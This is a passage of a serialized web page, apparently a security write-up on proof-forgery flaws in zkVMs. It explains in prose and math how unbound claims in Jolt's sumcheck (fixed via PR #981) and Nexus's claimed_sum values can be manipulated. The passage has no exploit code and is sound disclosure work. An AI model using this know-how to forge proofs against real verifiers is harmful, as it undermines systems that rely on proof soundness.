assName":116231,"style":4145},[4144],[],{"type":23,"tag":213,"props":116234,"children":116236},{"className":116235},[4150,4151,4152,4153],[116237],{"type":23,"tag":213,"props":116238,"children":116240},{"className":116239},[4103,21637,4153],[116241],{"type":28,"value":3826},{"type":23,"tag":213,"props":116243,"children":116245},{"className":116244},[21794],[116246],{"type":28,"value":21797},{"type":23,"tag":213,"props":116248,"children":116250},{"className":116249},[4130],[116251],{"type":23,"tag":213,"props":116252,"children":116254},{"className":116253,"style":93183},[4135],[116255],{"type":23,"tag":213,"props":116256,"children":116257},{},[],{"type":28,"value":124},{"type":23,"tag":24,"props":116260,"children":116261},{},[116262],{"type":23,"tag":95,"props":116263,"children":116264},{},[116265],{"type":28,"value":116266},"Why it's linear:",{"type":23,"tag":24,"props":116268,"children":116269},{},[116270,116272],{"type":28,"value":116271},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":209,"props":116273,"children":116275},{"className":116274},[4076,4077],[116276],{"type":23,"tag":213,"props":116277,"children":116279},{"className":116278},[4082],[116280],{"type":23,"tag":213,"props":116281,"children":116283},{"className":116282,"ariaHidden":1710},[4087],[116284],{"type":23,"tag":213,"props":116285,"children":116287},{"className":116286},[4092],[116288,116292],{"type":23,"tag":213,"props":116289,"children":116291},{"className":116290,"style":21632},[4097],[],{"type":23,"tag":213,"props":116293,"children":116295},{"className":116294,"style":93334},[4103,21637],[116296],{"type":28,"value":93337},{"type":23,"tag":24,"props":116298,"children":116299},{},[116300],{"type":23,"tag":209,"props":116301,"children":116303},{"className":116302},[4076,4077],[116304],{"type":23,"tag":213,"props":116305,"children":116307},{"className":116306},[4082],[116308],{"type":23,"tag":213,"props":116309,"children":116311},{"className":116310,"ariaHidden":1710},[4087],[116312,116402,116428,116454],{"type":23,"tag":213,"props":116313,"children":116315},{"className":116314},[4092],[116316,116320,116389,116393,116398],{"type":23,"tag":213,"props":116317,"children":116319},{"className":116318,"style":111097},[4097],[],{"type":23,"tag":213,"props":116321,"children":116323},{"className":116322},[4103],[116324,116330],{"type":23,"tag":213,"props":116325,"children":116327},{"className":116326,"style":22169},[4103,21637],[116328],{"type":28,"value":116329},"C",{"type":23,"tag":213,"props":116331,"children":116333},{"className":116332},[4120],[116334],{"type":23,"tag":213,"props":116335,"children":116337},{"className":116336},[4125,21691],[116338,116378],{"type":23,"tag":213,"props":116339,"children":116341},{"className":116340},[4130],[116342,116373],{"type":23,"tag":213,"props":116343,"children":116346},{"className":116344,"style":116345},[4135],"height:0.3361em;",[116347],{"type":23,"tag":213,"props":116348,"children":116350},{"style":116349},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[116351,116355],{"type":23,"tag":213,"props":116352,"children":116354},{"className":116353,"style":4145},[4144],[],{"type":23,"tag":213,"props":116356,"children":116358},{"className":116357},[4150,4151,4152,4153],[116359],{"type":23,"tag":213,"props":116360,"children":116362},{"className":116361},[4103,4153],[116363],{"type":23,"tag":213,"props":116364,"children":116366},{"className":116365},[4103,28,4153],[116367],{"type":23,"tag":213,"props":116368,"children":116370},{"className":116369},[4103,4153],[116371],{"type":28,"value":116372},"final",{"type":23,"tag":213,"props":116374,"children":116376},{"className":116375},[21794],[116377],{"type":28,"value":21797},{"type":23,"tag":213,"props":116379,"children":116381},{"className":116380},[4130],[116382],{"type":23,"tag":213,"props":116383,"children":116385},{"className":116384,"style":93183},[4135],[116386],{"type":23,"tag":213,"props":116387,"children":116388},{},[],{"type":23,"tag":213,"props":116390,"children":116392},{"className":116391,"style":4282},[4184],[],{"type":23,"tag":213,"props":116394,"children":116396},{"className":116395},[4287],[116397],{"type":28,"value":3190},{"type":23,"tag":213,"props":116399,"children":116401},{"className":116400,"style":4282},[4184],[],{"type":23,"tag":213,"props":116403,"children":116405},{"className":116404},[4092],[116406,116410,116415,116419,116424],{"type":23,"tag":213,"props":116407,"children":116409},{"className":116408,"style":115183},[4097],[],{"type":23,"tag":213,"props":116411,"children":116413},{"className":116412},[4103,21637],[116414],{"type":28,"value":36},{"type":23,"tag":213,"props":116416,"children":116418},{"className":116417,"style":4185},[4184],[],{"type":23,"tag":213,"props":116420,"children":116422},{"className":116421},[4190],[116423],{"type":28,"value":111362},{"type":23,"tag":213,"props":116425,"children":116427},{"className":116426,"style":4185},[4184],[],{"type":23,"tag":213,"props":116429,"children":116431},{"className":116430},[4092],[116432,116436,116441,116445,116450],{"type":23,"tag":213,"props":116433,"children":116435},{"className":116434,"style":115212},[4097],[],{"type":23,"tag":213,"props":116437,"children":116439},{"className":116438,"style":93334},[4103,21637],[116440],{"type":28,"value":93337},{"type":23,"tag":213,"props":116442,"children":116444},{"className":116443,"style":4185},[4184],[],{"type":23,"tag":213,"props":116446,"children":116448},{"className":116447},[4190],[116449],{"type":28,"value":2703},{"type":23,"tag":213,"props":116451,"children":116453},{"className":116452,"style":4185},[4184],[],{"type":23,"tag":213,"props":116455,"children":116457},{"className":116456},[4092],[116458,116462],{"type":23,"tag":213,"props":116459,"children":116461},{"className":116460,"style":93015},[4097],[],{"type":23,"tag":213,"props":116463,"children":116465},{"className":116464},[4103,21637],[116466],{"type":28,"value":3319},{"type":23,"tag":24,"props":116468,"children":116469},{},[116470,116471,116510,116512,116537,116539,116669,116671,116792],{"type":28,"value":115936},{"type":23,"tag":209,"props":116472,"children":116474},{"className":116473},[4076,4077],[116475],{"type":23,"tag":213,"props":116476,"children":116478},{"className":116477},[4082],[116479],{"type":23,"tag":213,"props":116480,"children":116482},{"className":116481,"ariaHidden":1710},[4087],[116483],{"type":23,"tag":213,"props":116484,"children":116486},{"className":116485},[4092],[116487,116491,116496,116501,116505],{"type":23,"tag":213,"props":116488,"children":116490},{"className":116489,"style":115155},[4097],[],{"type":23,"tag":213,"props":116492,"children":116494},{"className":116493},[4103,21637],[116495],{"type":28,"value":36},{"type":23,"tag":213,"props":116497,"children":116499},{"className":116498},[4216],[116500],{"type":28,"value":4219},{"type":23,"tag":213,"props":116502,"children":116504},{"className":116503,"style":4223},[4184],[],{"type":23,"tag":213,"props":116506,"children":116508},{"className":116507},[4103,21637],[116509],{"type":28,"value":3319},{"type":28,"value":116511}," are determined by the transcript (independent of ",{"type":23,"tag":209,"props":116513,"children":116515},{"className":116514},[4076,4077],[116516],{"type":23,"tag":213,"props":116517,"children":116519},{"className":116518},[4082],[116520],{"type":23,"tag":213,"props":116521,"children":116523},{"className":116522,"ariaHidden":1710},[4087],[116524],{"type":23,"tag":213,"props":116525,"children":116527},{"className":116526},[4092],[116528,116532],{"type":23,"tag":213,"props":116529,"children":116531},{"className":116530,"style":21632},[4097],[],{"type":23,"tag":213,"props":116533,"children":116535},{"className":116534,"style":93334},[4103,21637],[116536],{"type":28,"value":93337},{"type":28,"value":116538},"). The verifier checks that ",{"type":23,"tag":209,"props":116540,"children":116542},{"className":116541},[4076,4077],[116543],{"type":23,"tag":213,"props":116544,"children":116546},{"className":116545},[4082],[116547],{"type":23,"tag":213,"props":116548,"children":116550},{"className":116549,"ariaHidden":1710},[4087],[116551,116637],{"type":23,"tag":213,"props":116552,"children":116554},{"className":116553},[4092],[116555,116559,116624,116628,116633],{"type":23,"tag":213,"props":116556,"children":116558},{"className":116557,"style":111097},[4097],[],{"type":23,"tag":213,"props":116560,"children":116562},{"className":116561},[4103],[116563,116568],{"type":23,"tag":213,"props":116564,"children":116566},{"className":116565,"style":22169},[4103,21637],[116567],{"type":28,"value":116329},{"type":23,"tag":213,"props":116569,"children":116571},{"className":116570},[4120],[116572],{"type":23,"tag":213,"props":116573,"children":116575},{"className":116574},[4125,21691],[116576,116613],{"type":23,"tag":213,"props":116577,"children":116579},{"className":116578},[4130],[116580,116608],{"type":23,"tag":213,"props":116581,"children":116583},{"className":116582,"style":116345},[4135],[116584],{"type":23,"tag":213,"props":116585,"children":116586},{"style":116349},[116587,116591],{"type":23,"tag":213,"props":116588,"children":116590},{"className":116589,"style":4145},[4144],[],{"type":23,"tag":213,"props":116592,"children":116594},{"className":116593},[4150,4151,4152,4153],[116595],{"type":23,"tag":213,"props":116596,"children":116598},{"className":116597},[4103,4153],[116599],{"type":23,"tag":213,"props":116600,"children":116602},{"className":116601},[4103,28,4153],[116603],{"type":23,"tag":213,"props":116604,"children":116606},{"className":116605},[4103,4153],[116607],{"type":28,"value":116372},{"type":23,"tag":213,"props":116609,"children":116611},{"className":116610},[21794],[116612],{"type":28,"value":21797},{"type":23,"tag":213,"props":116614,"children":116616},{"className":116615},[4130],[116617],{"type":23,"tag":213,"props":116618,"children":116620},{"className":116619,"style":93183},[4135],[116621],{"type":23,"tag":213,"props":116622,"children":116623},{},[],{"type":23,"tag":213,"props":116625,"children":116627},{"className":116626,"style":4282},[4184],[],{"type":23,"tag":213,"props":116629,"children":116631},{"className":116630},[4287],[116632],{"type":28,"value":3190},{"type":23,"tag":213,"props":116634,"children":116636},{"className":116635,"style":4282},[4184],[],{"type":23,"tag":213,"props":116638,"children":116640},{"className":116639},[4092],[116641,116645,116655,116660],{"type":23,"tag":213,"props":116642,"children":116644},{"className":116643,"style":94513},[4097],[],{"type":23,"tag":213,"props":116646,"children":116648},{"className":116647},[4103,28],[116649],{"type":23,"tag":213,"props":116650,"children":116652},{"className":116651},[4103],[116653],{"type":28,"value":116654},"expected",{"type":23,"tag":213,"props":116656,"children":116658},{"className":116657,"style":93100},[4103],[116659],{"type":28,"value":3181},{"type":23,"tag":213,"props":116661,"children":116663},{"className":116662},[4103,28],[116664],{"type":23,"tag":213,"props":116665,"children":116667},{"className":116666},[4103],[116668],{"type":28,"value":37606},{"type":28,"value":116670}," (from PCS opening), this becomes ",{"type":23,"tag":209,"props":116672,"children":116674},{"className":116673},[4076,4077],[116675],{"type":23,"tag":213,"props":116676,"children":116678},{"className":116677},[4082],[116679],{"type":23,"tag":213,"props":116680,"children":116682},{"className":116681,"ariaHidden":1710},[4087],[116683,116709,116735,116761],{"type":23,"tag":213,"props":116684,"children":116686},{"className":116685},[4092],[116687,116691,116696,116700,116705],{"type":23,"tag":213,"props":116688,"children":116690},{"className":116689,"style":115183},[4097],[],{"type":23,"tag":213,"props":116692,"children":116694},{"className":116693},[4103,21637],[116695],{"type":28,"value":36},{"type":23,"tag":213,"props":116697,"children":116699},{"className":116698,"style":4185},[4184],[],{"type":23,"tag":213,"props":116701,"children":116703},{"className":116702},[4190],[116704],{"type":28,"value":111362},{"type":23,"tag":213,"props":116706,"children":116708},{"className":116707,"style":4185},[4184],[],{"type":23,"tag":213,"props":116710,"children":116712},{"className":116711},[4092],[116713,116717,116722,116726,116731],{"type":23,"tag":213,"props":116714,"children":116716},{"className":116715,"style":115212},[4097],[],{"type":23,"tag":213,"props":116718,"children":116720},{"className":116719,"style":93334},[4103,21637],[116721],{"type":28,"value":93337},{"type":23,"tag":213,"props":116723,"children":116725},{"className":116724,"style":4185},[4184],[],{"type":23,"tag":213,"props":116727,"children":116729},{"className":116728},[4190],[116730],{"type":28,"value":2703},{"type":23,"tag":213,"props":116732,"children":116734},{"className":116733,"style":4185},[4184],[],{"type":23,"tag":213,"props":116736,"children":116738},{"className":116737},[4092],[116739,116743,116748,116752,116757],{"type":23,"tag":213,"props":116740,"children":116742},{"className":116741,"style":93015},[4097],[],{"type":23,"tag":213,"props":116744,"children":116746},{"className":116745},[4103,21637],[116747],{"type":28,"value":3319},{"type":23,"tag":213,"props":116749,"children":116751},{"className":116750,"style":4282},[4184],[],{"type":23,"tag":213,"props":116753,"children":116755},{"className":116754},[4287],[116756],{"type":28,"value":3190},{"type":23,"tag":213,"props":116758,"children":116760},{"className":116759,"style":4282},[4184],[],{"type":23,"tag":213,"props":116762,"children":116764},{"className":116763},[4092],[116765,116769,116778,116783],{"type":23,"tag":213,"props":116766,"children":116768},{"className":116767,"style":94513},[4097],[],{"type":23,"tag":213,"props":116770,"children":116772},{"className":116771},[4103,28],[116773],{"type":23,"tag":213,"props":116774,"children":116776},{"className":116775},[4103],[116777],{"type":28,"value":116654},{"type":23,"tag":213,"props":116779,"children":116781},{"className":116780,"style":93100},[4103],[116782],{"type":28,"value":3181},{"type":23,"tag":213,"props":116784,"children":116786},{"className":116785},[4103,28],[116787],{"type":23,"tag":213,"props":116788,"children":116790},{"className":116789},[4103],[116791],{"type":28,"value":37606},{"type":28,"value":124},{"type":23,"tag":24,"props":116794,"children":116795},{},[116796],{"type":28,"value":116797},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":24,"props":116799,"children":116800},{},[116801],{"type":28,"value":116802},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":24,"props":116804,"children":116805},{},[116806,116811,116813],{"type":23,"tag":95,"props":116807,"children":116808},{},[116809],{"type":28,"value":116810},"Status:",{"type":28,"value":116812}," Fixed on October 3, 2025 via ",{"type":23,"tag":36,"props":116814,"children":116817},{"href":116815,"rel":116816},"https://github.com/a16z/jolt/pull/981",[40],[116818],{"type":28,"value":116819},"PR #981",{"type":23,"tag":18845,"props":116821,"children":116822},{},[],{"type":23,"tag":9693,"props":116824,"children":116826},{"id":116825},"nexus",[116827],{"type":28,"value":107919},{"type":23,"tag":24,"props":116829,"children":116830},{},[116831],{"type":28,"value":116832},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":24,"props":116834,"children":116835},{},[116836,116838,116843],{"type":28,"value":116837},"Nexus splits verification into ",{"type":23,"tag":95,"props":116839,"children":116840},{},[116841],{"type":28,"value":116842},"components",{"type":28,"value":116844}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":24,"props":116846,"children":116847},{},[116848,116850,116855],{"type":28,"value":116849},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":209,"props":116851,"children":116853},{"className":116852},[],[116854],{"type":28,"value":114964},{"type":28,"value":116856}," summarizes its net contribution:",{"type":23,"tag":24,"props":116858,"children":116859},{},[116860],{"type":23,"tag":209,"props":116861,"children":116863},{"className":116862},[4076,4077],[116864],{"type":23,"tag":213,"props":116865,"children":116867},{"className":116866},[4082],[116868],{"type":23,"tag":213,"props":116869,"children":116871},{"className":116870,"ariaHidden":1710},[4087],[116872,116968,117217],{"type":23,"tag":213,"props":116873,"children":116875},{"className":116874},[4092],[116876,116880,116889,116894,116955,116959,116964],{"type":23,"tag":213,"props":116877,"children":116879},{"className":116878,"style":94513},[4097],[],{"type":23,"tag":213,"props":116881,"children":116883},{"className":116882},[4103,28],[116884],{"type":23,"tag":213,"props":116885,"children":116887},{"className":116886},[4103],[116888],{"type":28,"value":114193},{"type":23,"tag":213,"props":116890,"children":116892},{"className":116891,"style":93100},[4103],[116893],{"type":28,"value":3181},{"type":23,"tag":213,"props":116895,"children":116897},{"className":116896},[4103],[116898,116907],{"type":23,"tag":213,"props":116899,"children":116901},{"className":116900},[4103,28],[116902],{"type":23,"tag":213,"props":116903,"children":116905},{"className":116904},[4103],[116906],{"type":28,"value":76685},{"type":23,"tag":213,"props":116908,"children":116910},{"className":116909},[4120],[116911],{"type":23,"tag":213,"props":116912,"children":116914},{"className":116913},[4125,21691],[116915,116944],{"type":23,"tag":213,"props":116916,"children":116918},{"className":116917},[4130],[116919,116939],{"type":23,"tag":213,"props":116920,"children":116922},{"className":116921,"style":93629},[4135],[116923],{"type":23,"tag":213,"props":116924,"children":116925},{"style":114230},[116926,116930],{"type":23,"tag":213,"props":116927,"children":116929},{"className":116928,"style":4145},[4144],[],{"type":23,"tag":213,"props":116931,"children":116933},{"className":116932},[4150,4151,4152,4153],[116934],{"type":23,"tag":213,"props":116935,"children":116937},{"className":116936},[4103,21637,4153],[116938],{"type":28,"value":3826},{"type":23,"tag":213,"props":116940,"children":116942},{"className":116941},[21794],[116943],{"type":28,"value":21797},{"type":23,"tag":213,"props":116945,"children":116947},{"className":116946},[4130],[116948],{"type":23,"tag":213,"props":116949,"children":116951},{"className":116950,"style":93183},[4135],[116952],{"type":23,"tag":213,"props":116953,"children":116954},{},[],{"type":23,"tag":213,"props":116956,"children":116958},{"className":116957,"style":4282},[4184],[],{"type":23,"tag":213,"props":116960,"children":116962},{"className":116961},[4287],[116963],{"type":28,"value":3190},{"type":23,"tag":213,"props":116965,"children":116967},{"className":116966,"style":4282},[4184],[],{"type":23,"tag":213,"props":116969,"children":116971},{"className":116970},[4092],[116972,116977,117034,117038,117204,117208,117213],{"type":23,"tag":213,"props":116973,"children":116976},{"className":116974,"style":116975},[4097],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":213,"props":116978,"children":116980},{"className":116979},[21673],[116981,116986],{"type":23,"tag":213,"props":116982,"children":116984},{"className":116983,"style":21680},[21673,21678,21679],[116985],{"type":28,"value":108895},{"type":23,"tag":213,"props":116987,"children":116989},{"className":116988},[4120],[116990],{"type":23,"tag":213,"props":116991,"children":116993},{"className":116992},[4125,21691],[116994,117023],{"type":23,"tag":213,"props":116995,"children":116997},{"className":116996},[4130],[116998,117018],{"type":23,"tag":213,"props":116999,"children":117001},{"className":117000,"style":114307},[4135],[117002],{"type":23,"tag":213,"props":117003,"children":117004},{"style":21704},[117005,117009],{"type":23,"tag":213,"props":117006,"children":117008},{"className":117007,"style":4145},[4144],[],{"type":23,"tag":213,"props":117010,"children":117012},{"className":117011},[4150,4151,4152,4153],[117013],{"type":23,"tag":213,"props":117014,"children":117016},{"className":117015,"style":114323},[4103,21637,4153],[117017],{"type":28,"value":8741},{"type":23,"tag":213,"props":117019,"children":117021},{"className":117020},[21794],[117022],{"type":28,"value":21797},{"type":23,"tag":213,"props":117024,"children":117026},{"className":117025},[4130],[117027],{"type":23,"tag":213,"props":117028,"children":117030},{"className":117029,"style":114338},[4135],[117031],{"type":23,"tag":213,"props":117032,"children":117033},{},[],{"type":23,"tag":213,"props":117035,"children":117037},{"className":117036,"style":4223},[4184],[],{"type":23,"tag":213,"props":117039,"children":117041},{"className":117040},[4103],[117042,117046,117200],{"type":23,"tag":213,"props":117043,"children":117045},{"className":117044},[21766,113618],[],{"type":23,"tag":213,"props":117047,"children":117049},{"className":117048},[113623],[117050],{"type":23,"tag":213,"props":117051,"children":117053},{"className":117052},[4125,21691],[117054,117188],{"type":23,"tag":213,"props":117055,"children":117057},{"className":117056},[4130],[117058,117183],{"type":23,"tag":213,"props":117059,"children":117061},{"className":117060,"style":113636},[4135],[117062,117152,117163],{"type":23,"tag":213,"props":117063,"children":117064},{"style":113640},[117065,117069],{"type":23,"tag":213,"props":117066,"children":117068},{"className":117067,"style":112271},[4144],[],{"type":23,"tag":213,"props":117070,"children":117072},{"className":117071},[4150,4151,4152,4153],[117073],{"type":23,"tag":213,"props":117074,"children":117076},{"className":117075},[4103,4153],[117077,117082,117087],{"type":23,"tag":213,"props":117078,"children":117080},{"className":117079,"style":113657},[4103,21637,4153],[117081],{"type":28,"value":113660},{"type":23,"tag":213,"props":117083,"children":117085},{"className":117084},[4190,4153],[117086],{"type":28,"value":4164},{"type":23,"tag":213,"props":117088,"children":117090},{"className":117089},[4103,4153],[117091,117101],{"type":23,"tag":213,"props":117092,"children":117094},{"className":117093},[4103,28,4153],[117095],{"type":23,"tag":213,"props":117096,"children":117098},{"className":117097},[4103,4153],[117099],{"type":28,"value":117100},"produced",{"type":23,"tag":213,"props":117102,"children":117104},{"className":117103},[4120],[117105],{"type":23,"tag":213,"props":117106,"children":117108},{"className":117107},[4125,21691],[117109,117140],{"type":23,"tag":213,"props":117110,"children":117112},{"className":117111},[4130],[117113,117135],{"type":23,"tag":213,"props":117114,"children":117117},{"className":117115,"style":117116},[4135],"height:0.2052em;",[117118],{"type":23,"tag":213,"props":117119,"children":117121},{"style":117120},"top:-2.2341em;margin-right:0.0714em;",[117122,117126],{"type":23,"tag":213,"props":117123,"children":117125},{"className":117124,"style":108960},[4144],[],{"type":23,"tag":213,"props":117127,"children":117129},{"className":117128},[4150,108965,108966,4153],[117130],{"type":23,"tag":213,"props":117131,"children":117133},{"className":117132,"style":114323},[4103,21637,4153],[117134],{"type":28,"value":8741},{"type":23,"tag":213,"props":117136,"children":117138},{"className":117137},[21794],[117139],{"type":28,"value":21797},{"type":23,"tag":213,"props":117141,"children":117143},{"className":117142},[4130],[117144],{"type":23,"tag":213,"props":117145,"children":117148},{"className":117146,"style":117147},[4135],"height:0.4048em;",[117149],{"type":23,"tag":213,"props":117150,"children":117151},{},[],{"type":23,"tag":213,"props":117153,"children":117154},{"style":113673},[117155,117159],{"type":23,"tag":213,"props":117156,"children":117158},{"className":117157,"style":112271},[4144],[],{"type":23,"tag":213,"props":117160,"children":117162},{"className":117161,"style":113683},[113682],[],{"type":23,"tag":213,"props":117164,"children":117165},{"style":113687},[117166,117170],{"type":23,"tag":213,"props":117167,"children":117169},{"className":117168,"style":112271},[4144],[],{"type":23,"tag":213,"props":117171,"children":117173},{"className":117172},[4150,4151,4152,4153],[117174],{"type":23,"tag":213,"props":117175,"children":117177},{"className":117176},[4103,4153],[117178],{"type":23,"tag":213,"props":117179,"children":117181},{"className":117180},[4103,4153],[117182],{"type":28,"value":4106},{"type":23,"tag":213,"props":117184,"children":117186},{"className":117185},[21794],[117187],{"type":28,"value":21797},{"type":23,"tag":213,"props":117189,"children":117191},{"className":117190},[4130],[117192],{"type":23,"tag":213,"props":117193,"children":117196},{"className":117194,"style":117195},[4135],"height:0.6283em;",[117197],{"type":23,"tag":213,"props":117198,"children":117199},{},[],{"type":23,"tag":213,"props":117201,"children":117203},{"className":117202},[21788,113618],[],{"type":23,"tag":213,"props":117205,"children":117207},{"className":117206,"style":4185},[4184],[],{"type":23,"tag":213,"props":117209,"children":117211},{"className":117210},[4190],[117212],{"type":28,"value":4164},{"type":23,"tag":213,"props":117214,"children":117216},{"className":117215,"style":4185},[4184],[],{"type":23,"tag":213,"props":117218,"children":117220},{"className":117219},[4092],[117221,117225,117282,117286],{"type":23,"tag":213,"props":117222,"children":117224},{"className":117223,"style":114532},[4097],[],{"type":23,"tag":213,"props":117226,"children":117228},{"className":117227},[21673],[117229,117234],{"type":23,"tag":213,"props":117230,"children":117232},{"className":117231,"style":21680},[21673,21678,21679],[117233],{"type":28,"value":108895},{"type":23,"tag":213,"props":117235,"children":117237},{"className":117236},[4120],[117238],{"type":23,"tag":213,"props":117239,"children":117241},{"className":117240},[4125,21691],[117242,117271],{"type":23,"tag":213,"props":117243,"children":117245},{"className":117244},[4130],[117246,117266],{"type":23,"tag":213,"props":117247,"children":117249},{"className":117248,"style":113772},[4135],[117250],{"type":23,"tag":213,"props":117251,"children":117252},{"style":21704},[117253,117257],{"type":23,"tag":213,"props":117254,"children":117256},{"className":117255,"style":4145},[4144],[],{"type":23,"tag":213,"props":117258,"children":117260},{"className":117259},[4150,4151,4152,4153],[117261],{"type":23,"tag":213,"props":117262,"children":117264},{"className":117263,"style":94529},[4103,21637,4153],[117265],{"type":28,"value":88737},{"type":23,"tag":213,"props":117267,"children":117269},{"className":117268},[21794],[117270],{"type":28,"value":21797},{"type":23,"tag":213,"props":117272,"children":117274},{"className":117273},[4130],[117275],{"type":23,"tag":213,"props":117276,"children":117278},{"className":117277,"style":114587},[4135],[117279],{"type":23,"tag":213,"props":117280,"children":117281},{},[],{"type":23,"tag":213,"props":117283,"children":117285},{"className":117284,"style":4223},[4184],[],{"type":23,"tag":213,"props":117287,"children":117289},{"className":117288},[4103],[117290,117294,117444],{"type":23,"tag":213,"props":117291,"children":117293},{"className":117292},[21766,113618],[],{"type":23,"tag":213,"props":117295,"children":117297},{"className":117296},[113623],[117298],{"type":23,"tag":213,"props":117299,"children":117301},{"className":117300},[4125,21691],[117302,117433],{"type":23,"tag":213,"props":117303,"children":117305},{"className":117304},[4130],[117306,117428],{"type":23,"tag":213,"props":117307,"children":117309},{"className":117308,"style":113636},[4135],[117310,117397,117408],{"type":23,"tag":213,"props":117311,"children":117312},{"style":113640},[117313,117317],{"type":23,"tag":213,"props":117314,"children":117316},{"className":117315,"style":112271},[4144],[],{"type":23,"tag":213,"props":117318,"children":117320},{"className":117319},[4150,4151,4152,4153],[117321],{"type":23,"tag":213,"props":117322,"children":117324},{"className":117323},[4103,4153],[117325,117330,117335],{"type":23,"tag":213,"props":117326,"children":117328},{"className":117327,"style":113657},[4103,21637,4153],[117329],{"type":28,"value":113660},{"type":23,"tag":213,"props":117331,"children":117333},{"className":117332},[4190,4153],[117334],{"type":28,"value":4164},{"type":23,"tag":213,"props":117336,"children":117338},{"className":117337},[4103,4153],[117339,117349],{"type":23,"tag":213,"props":117340,"children":117342},{"className":117341},[4103,28,4153],[117343],{"type":23,"tag":213,"props":117344,"children":117346},{"className":117345},[4103,4153],[117347],{"type":28,"value":117348},"consumed",{"type":23,"tag":213,"props":117350,"children":117352},{"className":117351},[4120],[117353],{"type":23,"tag":213,"props":117354,"children":117356},{"className":117355},[4125,21691],[117357,117386],{"type":23,"tag":213,"props":117358,"children":117360},{"className":117359},[4130],[117361,117381],{"type":23,"tag":213,"props":117362,"children":117364},{"className":117363,"style":112432},[4135],[117365],{"type":23,"tag":213,"props":117366,"children":117367},{"style":114677},[117368,117372],{"type":23,"tag":213,"props":117369,"children":117371},{"className":117370,"style":108960},[4144],[],{"type":23,"tag":213,"props":117373,"children":117375},{"className":117374},[4150,108965,108966,4153],[117376],{"type":23,"tag":213,"props":117377,"children":117379},{"className":117378,"style":94529},[4103,21637,4153],[117380],{"type":28,"value":88737},{"type":23,"tag":213,"props":117382,"children":117384},{"className":117383},[21794],[117385],{"type":28,"value":21797},{"type":23,"tag":213,"props":117387,"children":117389},{"className":117388},[4130],[117390],{"type":23,"tag":213,"props":117391,"children":117393},{"className":117392,"style":114704},[4135],[117394],{"type":23,"tag":213,"props":117395,"children":117396},{},[],{"type":23,"tag":213,"props":117398,"children":117399},{"style":113673},[117400,117404],{"type":23,"tag":213,"props":117401,"children":117403},{"className":117402,"style":112271},[4144],[],{"type":23,"tag":213,"props":117405,"children":117407},{"className":117406,"style":113683},[113682],[],{"type":23,"tag":213,"props":117409,"children":117410},{"style":113687},[117411,117415],{"type":23,"tag":213,"props":117412,"children":117414},{"className":117413,"style":112271},[4144],[],{"type":23,"tag":213,"props":117416,"children":117418},{"className":117417},[4150,4151,4152,4153],[117419],{"type":23,"tag":213,"props":117420,"children":117422},{"className":117421},[4103,4153],[117423],{"type":23,"tag":213,"props":117424,"children":117426},{"className":117425},[4103,4153],[117427],{"type":28,"value":4106},{"type":23,"tag":213,"props":117429,"children":117431},{"className":117430},[21794],[117432],{"type":28,"value":21797},{"type":23,"tag":213,"props":117434,"children":117436},{"className":117435},[4130],[117437],{"type":23,"tag":213,"props":117438,"children":117440},{"className":117439,"style":114752},[4135],[117441],{"type":23,"tag":213,"props":117442,"children":117443},{},[],{"type":23,"tag":213,"props":117445,"children":117447},{"className":117446},[21788,113618],[],{"type":23,"tag":24,"props":117449,"children":117450},{},[117451,117453,117458],{"type":28,"value":117452},"All ",{"type":23,"tag":209,"props":117454,"children":117456},{"className":117455},[],[117457],{"type":28,"value":114964},{"type":28,"value":117459}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":24,"props":117461,"children":117462},{},[117463,117465,117470],{"type":28,"value":117464},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":95,"props":117466,"children":117467},{},[117468],{"type":28,"value":117469},"OODS (Out-of-Domain Sampling)",{"type":28,"value":117471}," test.",{"type":23,"tag":24,"props":117473,"children":117474},{},[117475],{"type":23,"tag":95,"props":117476,"children":117477},{},[117478],{"type":28,"value":115516},{"type":23,"tag":202,"props":117480,"children":117482},{"code":117481},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[117483],{"type":23,"tag":209,"props":117484,"children":117485},{"__ignoreMap":7},[117486],{"type":28,"value":117481},{"type":23,"tag":24,"props":117488,"children":117489},{},[117490,117492,117497],{"type":28,"value":117491},"The",{"type":23,"tag":209,"props":117493,"children":117495},{"className":117494},[],[117496],{"type":28,"value":114964},{"type":28,"value":117498}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":24,"props":117500,"children":117501},{},[117502],{"type":23,"tag":4009,"props":117503,"children":117506},{"alt":117504,"src":117505},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":24,"props":117508,"children":117509},{},[117510,117512,117521],{"type":28,"value":117511},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":95,"props":117513,"children":117514},{},[117515,117516],{"type":28,"value":111971},{"type":23,"tag":209,"props":117517,"children":117519},{"className":117518},[],[117520],{"type":28,"value":114964},{"type":28,"value":277},{"type":23,"tag":24,"props":117523,"children":117524},{},[117525],{"type":28,"value":117526},"The composition polynomial is a random linear combination of 